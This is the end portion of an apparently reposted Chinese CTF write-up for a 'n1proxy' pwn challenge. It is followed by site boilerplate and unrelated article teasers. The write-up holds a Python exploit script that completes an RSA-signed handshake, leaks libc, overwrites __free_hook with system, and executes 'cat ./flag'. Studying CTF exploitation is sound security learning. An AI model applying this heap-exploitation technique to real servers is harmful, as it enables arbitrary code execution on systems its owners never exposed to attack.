    key_exchange_sign_len=r.recv(8)
    key_exchange_sign=r.recv(512)
    pub_key_n_len=r.recv(8)
    pub_key_e_len=r.recv(8)
    pub_key_n=r.recv(512)
    pub_key_e=r.recv(4)

    server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),
                        int.from_bytes(pub_key_e, byteorder='big'))
    if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):
        print("server public key get Signature verified")

    # send client  key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8

    global  pub_key, pri_key
    pub_key_n = pub_key.n.to_bytes(512, byteorder='big')
    pub_key_e = pub_key.e.to_bytes(8, byteorder='big')
    key_exchange = b''.join([
        len(pub_key_n).to_bytes(8, byteorder='little'),
        pub_key_n,
        len(pub_key_e).to_bytes(8, byteorder='little'),
        pub_key_e
    ])
    key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')
    key_exchange_sign_len = len(key_exchange_sign)
    key_exchange_sign_msg = b''.join([
        key_exchange_sign_len.to_bytes(8, byteorder='little'),
        key_exchange_sign
    ])
    r.send(key_exchange_sign_msg)
    r.send(key_exchange)

    # get session key  new_session_sign.len 8| new_session_sign 512 |  enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512
    new_session_sign_len=r.recv(8)
    new_session_sign=r.recv(512)
    enc_key_len=r.recv(8)
    enc_key=r.recv(512)
    enc_time_len=r.recv(8)
    enc_time=r.recv(512)
    if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):
        print("server session key Signature verified")

    session_key_array = rsa.decrypt(enc_key, pri_key)
    session_key=SessionKey(
            session_key_array[:32],
            session_key_array[32:48]
        )
    timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')
    print("server session key",session_key)


    # ProxyType ProxyStatus   session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))
    ProxyStatus=1
    ProxyType=2
    prec_con=p32(ProxyType)+p32(ProxyStatus)
    prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')
    pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)
    r.send(pre_conn_session_enc)

    #  ok_msg session_enc(  ok_msg|  ok_msg_sign.len |  ok_msg_sign )
    ok_msg_enc=r.recv(528)
    ok_msg_total=session_dec(session_key,ok_msg_enc)
    if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):
        print("server ok_msg key Signature verified")


    #  about ProxyStatus operation 
   
    conn_data=p32(fd)+p64(size)
    conn_data_sign=rsa.sign(conn_data, pri_key, 'SHA-256')
    conn_data_session_enc=session_enc(session_key,conn_data+conn_data_sign)
    r.send(conn_data_session_enc)
     #   session_enc( recv_data.len() |  recv_data | sign(recv_data.len() |  recv_data)  )
  
    recv_enc_data = r.recv(timeout=10)
    #p.interactive() # else process("./pwn") end


global client_fd,server_fd

global  pub_key, pri_key
(pub_key, pri_key) = rsa.newkeys(4096)   
#p=process("./n1proxy_server")
# gdb.attach(p)
# pause()
thread = threading.Thread(target=listen)
thread.start()

connec()
# leak libc

send(u32(server_fd),1 ,b"1")
recv_data=recv(u32(client_fd),0x200)

print("recv_data",recv_data)
libcbase=u64(recv_data[:8])-0x3ebc31
print("libc",hex(libcbase))
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# # overlap _free_hook
send(u32(server_fd),24,p64(libcbase+libc.sym["__free_hook"]-0x10)+p64(0)+p64(libcbase+libc.sym["system"]))
recv_data=recv_no(u32(client_fd),0x50) 
print("recv_data",recv_data)
# # system ("cat flag")
send(u32(server_fd),15,b"cat ./flag >&9\x00")
recv_data=recv(u32(client_fd),0x50) 
print("recv_data",recv_data)

这些sh:是因为我在后台运行proxy,所以它的输出直接出现在终端上
在这里插入图片描述
由于我这里生成公匙比较麻烦,所以就没过多去尝试其他可能的size了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1945887.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【数据结构】AVL树(平衡二叉搜索树)

文章目录 1.AVL树1.1 AVL树的概念1.2 AVL树节点的定义1.3 AVL树的插入1.4 AVL树的旋转1.4.1 左单旋1.4.2 右单旋1.4.3 右左双旋1.4.4 左右双旋 1.5 AVL树的平衡验证1.6 AVL树的删除1.7 AVL树的性能 1.AVL树 在前面&#xff0c;我们已经介绍过了二叉搜索树&#xff0c;也了解到…

03 capture软件操作界面和常用设置介绍04 capture软件自带元件库设置

03 capture软件操作界面和常用设置介绍&&04 capture软件自带元件库设置 第一部分 03 capture软件操作界面和常用设置介绍一、分辨率二、产品选择三、颜色设置四、格点设置 第二部分 04 capture软件自带元件库设置 第一部分 03 capture软件操作界面和常用设置介绍 一、…

初识c++:string类(2)

#本节主要讲解c&#xff1a;string类的模拟实现 全部代码的实现在最后面&#xff01;&#xff01;&#xff01;有需要的自己往下滑&#xff0c;自取&#xff01;&#xff01;&#xff01;1.string类的模拟实现 2.浅拷贝 3.深拷贝 目录 #本节主要讲解c&#xff1a;string类…

使用Ollama和OpenWebUI,轻松探索Meta Llama3–8B

大家好&#xff0c;2024年4月&#xff0c;Meta公司开源了Llama 3 AI模型&#xff0c;迅速在AI社区引起轰动。紧接着&#xff0c;Ollama工具宣布支持Llama 3&#xff0c;为本地部署大型模型提供了极大的便利。 本文将介绍如何利用Ollama工具&#xff0c;实现Llama 3–8B模型的本…

WEB前端10- Fetch API(同步/异步/跨域处理)

Fetch API Fetch API 可以用来获取远程数据&#xff0c;用于在 Web 应用程序中发起和处理 HTTP 请求。它基于 Promise&#xff0c;提供了一种简单而强大的方式来处理网络通信&#xff0c;替代了传统的 XMLHttpRequest。 Promise对象 Promise 对象是 JavaScript 中处理异步操…

Netty:基于NIO的 Java 网络应用编程框架

Netty 是一个被广泛使用的&#xff0c;基于NIO的 Java 网络应用编程框架&#xff0c;Netty框架可以帮助开发者快速、简单的实现客户端和服务端的网络应用程序。“快速”和“简单”并不用产生维护性或性能上的问题。Netty 利用 Java 语言的NIO网络编程的能力&#xff0c;并隐藏其…

C++ 鼠标轨迹API【神诺科技SDK】

一.鼠标轨迹模拟简介 传统的鼠标轨迹模拟依赖于简单的数学模型&#xff0c;如直线或曲线路径。然而&#xff0c;这种方法难以捕捉到人类操作的复杂性和多样性。AI大模型的出现&#xff0c;使得神诺科技 能够通过深度学习技术&#xff0c;学习并模拟更自然的鼠标移动行为。 二.…

Spring Security 介绍

1.概要 Spring Security是一个用于在Java应用程序中实现身份验证和访问控制的强大框架。它可以轻松地集成到任何基于Spring的应用程序中&#xff0c;提供了一套丰富的功能来保护应用程序的安全性。 https://spring.io/projects/spring-security/ demo:https://docs.spring.i…

Java使用AsposePDF和AsposeWords进行表单填充

声明&#xff1a;本文为作者Huathy原创文章&#xff0c;禁止转载、爬取&#xff01;否则&#xff0c;本人将保留追究法律责任的权力&#xff01; 文章目录 AsposePDF填充表单adobe pdf表单准备引入依赖编写测试类 AsposeWord表单填充表单模板准备与生成效果引入依赖编码 参考文…

Java | Leetcode Java题解之第275题H指数II

题目&#xff1a; 题解&#xff1a; class Solution {public int hIndex(int[] citations) {int n citations.length;int left 0, right n - 1;while (left < right) {int mid left (right - left) / 2;if (citations[mid] > n - mid) {right mid - 1;} else {lef…

【Hot100】LeetCode—322. 零钱兑换

目录 题目1- 思路2- 实现⭐322. 零钱兑换——题解思路 3- ACM 实现 题目 原题连接&#xff1a;322. 零钱兑换 1- 思路 思路 其中 amount 是背包容量 ——> 其中 nums 数组代表的背包重量 2- 实现 ⭐322. 零钱兑换——题解思路 class Solution {public int coinChange(in…

计算机网络基础:3.DNS服务器、域名分类

一、DNS服务器 DNS服务器在网络中的作用类似于餐厅中的“顾客座位对照表”&#xff0c;它帮助前台&#xff08;路由器&#xff09;将顾客&#xff08;用户&#xff09;的请求转发到正确的餐桌&#xff08;目标设备&#xff09;。 (1)概念与原理 DNS的基本概念 DNS&…

构建智慧农业监管系统:架构设计与技术创新

随着农业现代化的推进和消费者对食品安全的关注增加&#xff0c;智慧农业监管系统的设计变得至关重要。本文将探讨如何利用先进的技术和创新的系统架构&#xff0c;确保农产品生产过程的透明性、安全性和合规性&#xff0c;为农业发展注入新的动力和保障。 ### 1. 系统架构概述…

信息收集Part3-资产监控

Github监控 便于收集整理最新exp或poc 便于发现相关测试目标的资产 各种子域名查询 DNS,备案&#xff0c;证书 全球节点请求cdn 枚举爆破或解析子域名对应 便于发现管理员相关的注册信息 通过Server酱接口接收漏洞信息 https://sct.ftqq.com/ https://github.com/easych…

go中map

文章目录 Map简介哈希表与Map的概念Go语言内建的Map类型Map的声明Map的初始化Map的访问Map的添加和修改Map的删除Map的遍历 Map的基本使用Map的声明与初始化Map的访问与操作Map的删除Map的遍历Map的并发问题实现线程安全的Map 3. Map的访问与操作3.1 访问Map元素代码示例&#…

生成树协议配置与分析

前言&#xff1a;本博客仅作记录学习使用&#xff0c;部分图片出自网络&#xff0c;如有侵犯您的权益&#xff0c;请联系删除 一、相关知识 1、生成树协议简介 生成树协议&#xff08;STP&#xff09;是一种避免数据链路层逻辑环路的机制&#xff0c;它通过信息交互识别环路并…

C语言刷题小记2

前言 本篇博客还是为大家分享一些C语言的OJ题目&#xff0c;如果你感兴趣&#xff0c;希望大佬一键三连。多多支持。下面进入正文部分。 题目1竞选社长 分析&#xff1a;本题要求我们输入一串字符&#xff0c;并且统计个数的多少&#xff0c;那么我们可以通过getchar函数来获…

Adaboost集成学习 | Matlab实现基于LSTM-Adaboost长短期记忆神经网络结合Adaboost集成学习多输入单输出时间序列预测

目录 效果一览基本介绍模型设计程序设计参考资料效果一览 基本介绍 Adaboost集成学习 | Matlab实现基于LSTM-Adaboost长短期记忆神经网络结合Adaboost集成学习时间序列预测(股票价格预测) 模型设计 步骤1: 数据准备 收集和整理历史数据。确保数据集经过适当的预处理,如归一…

【数据结构初阶】一篇文章带你超深度理解【单链表】

hi &#xff01; 目录 前言&#xff1a; 1、链表的概念和结构 2、单链表&#xff08;Single List&#xff0c;简写SList&#xff09;的实现 2.1 定义链表&#xff08;结点&#xff09;的结构 2.2 创建一个链表 2.3 打印链表 2.4 尾插 2.5 头插 2.6 尾删 2.7 头…

Aigtek高压放大器指标参数要求及其应用

高压放大器是一类特殊的放大器&#xff0c;其主要功能是将输入的低电压信号放大为输出的高电压信号。在各种应用中&#xff0c;如音频放大、通信系统、医学设备等&#xff0c;高压放大器都扮演着至关重要的角色。为了确保高压放大器能够满足实际应用的需求&#xff0c;并且具有…